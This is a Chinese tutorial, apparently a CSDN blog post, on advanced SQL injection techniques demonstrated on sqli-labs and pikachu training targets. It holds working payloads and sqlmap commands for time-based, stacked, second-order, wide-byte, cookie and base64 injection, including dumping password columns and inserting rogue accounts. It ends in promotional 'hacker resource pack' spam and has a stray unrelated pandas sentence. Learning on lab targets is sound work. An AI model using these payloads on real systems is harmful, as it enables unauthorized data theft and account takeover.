文章目录
- 前言
- 一、时间注入
- 二、堆叠注入
-
- 2.1.获取表信息:
- 2.2.获取字段信息:
- 2.3.准备插入新的字段:
- 三、二次注入
- 四、宽字节注入
-
- 4.1.宽字节注入代码分析
- 4.2.黑盒环境下的宽字节注入
- 五、Cookie注入
- 六、base64编码注入
- 七、xff注入攻击
- 总结
前言
承接上一篇SQL初级篇,进行SQL注入的进阶学习。欢迎伙伴们多多交流,多多补充哈~
一、时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用’and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。
常用到的函数:sleep(),if(),substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。
-1’ or if(length(database())>1,sleep(5),0)–+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。
在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
采用时间注入:
python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --technique=T -v 1 --dbms=mysql --batch

-u 表示检测的 url
-v 显示调试模式
–technique=T 检测方法为时间注入
–current-user 获取用户
–current-db 当前库
–batch 使用默认模式 自动 y
获取表
-D 指定数据库 --tables 获取表
python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch

获取字段
在 sqlmap --columns 获取字典 -T 某个表
python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

查询账号和密码
`python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D` pikachu --batch
–dump 导出数据
-C 指定查询的字段
-p 指定的检测参数

示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。
二、堆叠注入
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
下面采用sqli-labs-master靶场进行演示【less-38】
2.1.获取表信息:
-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

2.2.获取字段信息:
-999' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+

2.3.准备插入新的字段:
知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表直接添加管理员账号即可登录后台。
payload:
?id=-999';insert into users values(666,'kakayyds','123456')--+
payload:
?id=-999';insert into users(id,username,password)values(1000,'moonsec','123456')--+
访问 666/1000 即可访问到刚刚添加的账号

payload:
?id=-999’;insert into users values(222,(select @@version_compile_os),‘123456’)–+
通过该方式也可以对信息进行读取

三、二次注入
先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,然后寻找可能会带入恶意数据二次使用的地方。例如用户注册->修改密码邮箱注册->修改密码 文章添加->文章编辑。找一切存在二次使用的功能点。二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。现在注册用户 a’ 再分别注册用户 a’ and 1=1# a’ and 1=2# 再来可能触发的地方
Less-24练习

创建俩用户,然后登录a’#这个用户,对其密码进行修改操作,更改为456789,之后点击更新密码。
再次回到数据库对数据进行查询,发现a’#的密码没有变化,反而a的密码发生了变化。【这就是二次注入】

从代码层面分析:
这个update函数执行的时候,没有任何防护,转义措施,导致了a’#造成注释,如下:
正常情况:UPDATE users SET PASSWORD=‘456789’ where username=‘a’ and password=‘123456’
二次注入:UPDATE users SET PASSWORD=‘456789’ where username=‘a’#’ and password=‘123456’
二次注入最后标记处直接被#过滤导致用户a’#变成了a用户。同理可对admin用户进行二次注入的密码修改操作。
四、宽字节注入
宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc转义
前提条件:
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)
4.1.宽字节注入代码分析
gpc 绕过过程:
%df%27=经过(addslashes)添加【\】进行转义=>%df%5c%27(%5c是URL编码后的\)=(数据库 GBK)=>運’(%df%5c合在一起生成了"運")
sqli-labs-master中less-32案例:
1.开启gpc或者addslashes
2.数据库编码为gbk
即可能存在宽字节注入

4.2.黑盒环境下的宽字节注入
宽字节检测较为简单 输入%df%27 检测即可或者使用配合 union 检测即可
PoC:%df' union select 1,2,3--+
后面读取数据库数据的方式就和之前一样了。
五、Cookie注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。在 burpsuite 显示 传递的方式。
PoC:Cookie: uname=admin' and 1=1#


Payload:Cookie: uname=admisdfn' union select 1,user(),3#
后续思路跟之前一致。
六、base64编码注入
在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码,base64_decode()这个函数对 base64 进行解码。
编码解码流程:
1–>base64 编码–>“MQ==”–>base64 解密–>1
观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。如果存在类似==等,可以用 base64 解码进行测试。
存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。admin’)and (updatexml(1,concat(0x7e,(select user()),0x7e),1))– (前面有个空格!)进行 base64 编码是YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=提交获取敏感信息。

七、xff注入攻击
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。
总结
进阶篇主要聊了聊七种类型的注入方式,多练习练习,加深印象。还是那句话,大家有其他的也可以补充哈~

黑客/网络安全学习包


资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**

**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取


1697

被折叠的 条评论
为什么被折叠?



